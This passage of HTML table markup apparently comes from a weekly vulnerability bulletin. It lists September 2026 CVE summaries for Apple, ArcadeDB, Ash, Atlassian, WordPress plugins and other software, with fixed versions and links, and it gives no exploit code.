&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;This issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84576&quot; target=&quot;_blank&quot;&gt;CVE-2026-84576&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An access issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Golden Gate 27, macOS Tahoe 26.7. An app may be able to bypass sandbox restrictions.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84577&quot; target=&quot;_blank&quot;&gt;CVE-2026-84577&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to break out of its sandbox.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84578&quot; target=&quot;_blank&quot;&gt;CVE-2026-84578&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;The issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to break out of its sandbox.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84580&quot; target=&quot;_blank&quot;&gt;CVE-2026-84580&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A buffer overflow was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Mounting a maliciously crafted disk image may cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84581&quot; target=&quot;_blank&quot;&gt;CVE-2026-84581&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;This issue was addressed with improved handling of symlinks. This issue is fixed in macOS Golden Gate 27. An app may be able to break out of its sandbox.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84584&quot; target=&quot;_blank&quot;&gt;CVE-2026-84584&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27. An app may be able to access local network devices without user consent.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84585&quot; target=&quot;_blank&quot;&gt;CVE-2026-84585&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An information disclosure issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27, watchOS 27. A malicious application may be able to leak sensitive user information.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84586&quot; target=&quot;_blank&quot;&gt;CVE-2026-84586&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access protected user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84587&quot; target=&quot;_blank&quot;&gt;CVE-2026-84587&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A memory corruption issue was addressed by removing the vulnerable code. This issue is fixed in macOS Golden Gate 27. Mounting a maliciously crafted disk image may cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84588&quot; target=&quot;_blank&quot;&gt;CVE-2026-84588&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Golden Gate 27. An app may be able to modify Privacy preferences.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84589&quot; target=&quot;_blank&quot;&gt;CVE-2026-84589&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27. An app may be able to bypass Apple Intelligence security prompts.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84601&quot; target=&quot;_blank&quot;&gt;CVE-2026-84601&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with improved validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84618&quot; target=&quot;_blank&quot;&gt;CVE-2026-84618&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination or write kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84619&quot; target=&quot;_blank&quot;&gt;CVE-2026-84619&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;This issue was addressed with additional entitlement checks. This issue is fixed in macOS Golden Gate 27. An app may be able to gain root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84631&quot; target=&quot;_blank&quot;&gt;CVE-2026-84631&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A certificate validation issue was addressed with improved certificate validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An attacker in a privileged network position may be able to intercept network traffic.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86889&quot; target=&quot;_blank&quot;&gt;CVE-2026-86889&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, watchOS 27. An app may be able to access Bluetooth device information.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86891&quot; target=&quot;_blank&quot;&gt;CVE-2026-86891&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A logic issue was addressed with improved checks. This issue is fixed in macOS Golden Gate 27. An app may be able to break out of its sandbox.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86894&quot; target=&quot;_blank&quot;&gt;CVE-2026-86894&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read issue was addressed with improved input validation. This issue is fixed in macOS Golden Gate 27. Mounting a maliciously crafted exFAT volume may cause unexpected system termination or kernel memory disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86900&quot; target=&quot;_blank&quot;&gt;CVE-2026-86900&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27. Mounting a maliciously crafted exFAT volume may cause unexpected system termination or kernel memory disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86901&quot; target=&quot;_blank&quot;&gt;CVE-2026-86901&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27, macOS Sonoma 14.8.8. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86902&quot; target=&quot;_blank&quot;&gt;CVE-2026-86902&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A logic issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27. An app may be able to bypass Gatekeeper checks.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86909&quot; target=&quot;_blank&quot;&gt;CVE-2026-86909&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with improved path validation. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An application may be able to access restricted files.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86910&quot; target=&quot;_blank&quot;&gt;CVE-2026-86910&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;This issue was addressed with improved state management. This issue is fixed in macOS Golden Gate 27. A malicious app may be able to bypass clickjacking protections for secure prompts.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86911&quot; target=&quot;_blank&quot;&gt;CVE-2026-86911&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--macOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to gain root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86917&quot; target=&quot;_blank&quot;&gt;CVE-2026-86917&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--Safari&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed by removing the vulnerable code. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. Processing maliciously crafted web content may disclose sensitive user information.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64753&quot; target=&quot;_blank&quot;&gt;CVE-2026-64753&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--Safari&lt;/td&gt;
&lt;td&gt;An integer overflow was addressed with improved input validation. This issue is fixed in Safari 26.6.1, iOS 26.6.1 and iPadOS 26.6.1, macOS Tahoe 26.6.2, tvOS 27, visionOS 27, watchOS 27. Processing maliciously crafted web content may lead to memory corruption.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65390&quot; target=&quot;_blank&quot;&gt;CVE-2026-65390&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--Safari&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in Safari 26.6.1, iOS 26.6.1 and iPadOS 26.6.1, macOS Tahoe 26.6.2, tvOS 27, visionOS 27, watchOS 27. Processing maliciously crafted web content may lead to memory corruption.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65391&quot; target=&quot;_blank&quot;&gt;CVE-2026-65391&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--Safari&lt;/td&gt;
&lt;td&gt;This issue was addressed through improved state management. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27. A malicious website may be able to determine what apps a user has installed.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84518&quot; target=&quot;_blank&quot;&gt;CVE-2026-84518&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--Safari&lt;/td&gt;
&lt;td&gt;A logic issue was addressed with improved state management. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. Processing maliciously crafted web content may lead to an unexpected process termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84635&quot; target=&quot;_blank&quot;&gt;CVE-2026-84635&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--Safari&lt;/td&gt;
&lt;td&gt;This issue was addressed with additional entitlement checks. This issue is fixed in Safari 27, iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86897&quot; target=&quot;_blank&quot;&gt;CVE-2026-86897&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--Safari&lt;/td&gt;
&lt;td&gt;A logic issue was addressed with improved state management. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. Opening a maliciously crafted webarchive file may lead to universal cross-site scripting.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86898&quot; target=&quot;_blank&quot;&gt;CVE-2026-86898&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--Xcode&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with improved validation. This issue is fixed in Xcode 27, macOS Golden Gate 27. An app may be able to access user-sensitive data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65393&quot; target=&quot;_blank&quot;&gt;CVE-2026-65393&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ArcadeData--arcadedb&lt;/td&gt;
&lt;td&gt;ArcadeDB (Maven artifact com.arcadedb:arcadedb-engine) through 26.8.1 contains an incomplete deny-list in the polyglot script sandbox: com.arcadedb.query.polyglot.HostClassLookupFilter.DENIED lists java.util.ResourceBundle as a bare class name, which is matched by exact equality and therefore does not cover its subclasses, while ScriptTriggerExecutor.ALLOWED_PACKAGES permits java.util.*. A user with the UPDATE_SCHEMA privilege (sufficient to create or alter a JavaScript trigger; no server-admin rights required) can reference java.util.PropertyResourceBundle or java.util.ListResourceBundle and invoke the inherited static ResourceBundle.getBundle(String) to read .properties resources from the application classpath, which the sandbox (IOAccess.NONE, with java.io.**, java.nio.** and java.net.** denied) is intended to make unreachable. This can disclose packaged application configuration such as database credentials and API keys; the advisory states the issue does not provide arbitrary host filesystem read or remote code execution. Fixed in 26.9.1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93598&quot; target=&quot;_blank&quot;&gt;CVE-2026-93598&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ash-project--ash&lt;/td&gt;
&lt;td&gt;Ash field_policies are documented to protect against filter-based information disclosure: when a field the actor may not see is referenced in a filter, it is replaced with an expression that evaluates to nil, so a filter cannot be used as a yes/no oracle to read a value the actor cannot see. This nilling was applied to attributes but not to calculations or aggregates. A user-supplied filter reference to a calculation or aggregate carries an Ash.Query.Calculation / Ash.Query.Aggregate struct, which the authorizer&#039;s reference replacement did not match (it only matched the Ash.Resource.* structs), so the filter ran against the real value. As a result, an actor whose field policies forbid a calculation or aggregate can still filter by it (for example filter(secret_calc == &quot;x&quot;) or filter(comment_count == n)) and learn the value from whether rows match - an oracle that recovers field-policy-protected values one probe at a time. Filtering is commonly exposed to lower-privileged actors (for example via AshGraphql or AshJsonApi filter arguments), which is exactly the surface field policies are meant to protect. The fix routes filter references to calculations and aggregates through the same field-policy nilling as attributes. This issue affects ash: from 2.11.0-rc.0 before 3.33.4.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86338&quot; target=&quot;_blank&quot;&gt;CVE-2026-86338&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ashlar-Vellum--Cobalt&lt;/td&gt;
&lt;td&gt;Ashlar-Vellum Cobalt VS File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Ashlar-Vellum Cobalt. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of VS files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28173.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19781&quot; target=&quot;_blank&quot;&gt;CVE-2026-19781&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Atlassian--Confluence Data Center&lt;/td&gt;
&lt;td&gt;This High severity Improper Authorization vulnerability was introduced in versions 7.4.0, 7.13.0, 8.5.0, 8.9.0, 9.0.1, 9.1.0, 9.2.0, 9.3.1, 9.4.0, 9.5.1, 10.0.2, 10.1.0, and 10.2.0 of Confluence Data Center. This Improper Authorization vulnerability, with a CVSS Score of 7.1, allows an authenticated attacker to gain unintended access and can lead to the exposure of resources or functionality, possibly providing attackers with sensitive information or even execute arbitrary code. Atlassian recommends that Confluence Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Confluence Data Center 9.2: Upgrade to a release greater than or equal to 9.2.24 Confluence Data Center 10.2: Upgrade to a release greater than or equal to 10.2.17 See the release notes ([https://confluence.atlassian.com/doc/confluence-release-notes-327.html]). You can download the latest version of Confluence Data Center from the download center ([https://www.atlassian.com/software/confluence/download-archives]). This vulnerability was reported via our Penetration Testing program.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21586&quot; target=&quot;_blank&quot;&gt;CVE-2026-21586&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Atlassian--Confluence Data Center&lt;/td&gt;
&lt;td&gt;This High severity DoS (Denial of Service) vulnerability was introduced in versions 8.9.0, 9.0.1, 9.1.0, 9.2.0, 9.3.1, 9.4.0, 9.5.1, 10.0.2, 10.1.0, and 10.2.0 of Confluence Data Center. This DoS (Denial of Service) vulnerability, with a CVSS Score of 7.1, allows an authenticated attacker to cause a resource to be unavailable for its intended users by temporarily or indefinitely disrupting services of a host connected to a network. Atlassian recommends that Confluence Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: Confluence Data Center 9.2: Upgrade to a release greater than or equal to 9.2.24 Confluence Data Center 10.2: Upgrade to a release greater than or equal to 10.2.17 See the release notes ([https://confluence.atlassian.com/doc/confluence-release-notes-327.html]). You can download the latest version of Confluence Data Center from the download center ([https://www.atlassian.com/software/confluence/download-archives]). This vulnerability was reported via our Penetration Testing program.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21588&quot; target=&quot;_blank&quot;&gt;CVE-2026-21588&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Atlassian--Jira Service Management Data Center&lt;/td&gt;
&lt;td&gt;This High severity Improper Authorization vulnerability was introduced in version 11.3.0 of Jira Service Management Data Center. This Improper Authorization vulnerability, with a CVSS Score of 7.1, allows an authenticated attacker to gain unintended access and can lead to the exposure of resources or functionality, possibly providing attackers with sensitive information or even execute arbitrary code. Atlassian recommends that Jira Service Management Data Center customers upgrade to latest version, if you are unable to do so, upgrade your instance to one of the specified supported fixed versions: * Jira Service Management Data Center 11.3: Upgrade to a release greater than or equal to 11.3.11 See the release notes (https://confluence.atlassian.com/servicemanagement/jira-service-management-release-notes-780083086.html). You can download the latest version of Jira Service Management Data Center from the download center (https://www.atlassian.com/software/jira/service-management/download-archives). This vulnerability was reported via our Penetration Testing program.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21587&quot; target=&quot;_blank&quot;&gt;CVE-2026-21587&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Autopay--Autopay&lt;/td&gt;
&lt;td&gt;The Autopay WordPress plugin before 5.0.1 does not enforce the signature on one of its payment callbacks, allowing unauthenticated users to disclose and delete the stored payment parameters of other customers&#039; orders.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90923&quot; target=&quot;_blank&quot;&gt;CVE-2026-90923&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bacularis--Bacularis&lt;/td&gt;
&lt;td&gt;Bacularis 1.0.0 - 6.5.0 is vulnerable to Stored cross-site scripting (XSS) in the client address field.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88742&quot; target=&quot;_blank&quot;&gt;CVE-2026-88742&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bacularis--Bacularis&lt;/td&gt;
&lt;td&gt;Bacularis 4.7.0 - 6.5.0 is vulnerable to Stored cross-site scripting (XSS) in director tags.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88743&quot; target=&quot;_blank&quot;&gt;CVE-2026-88743&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BerriAI--litellm&lt;/td&gt;
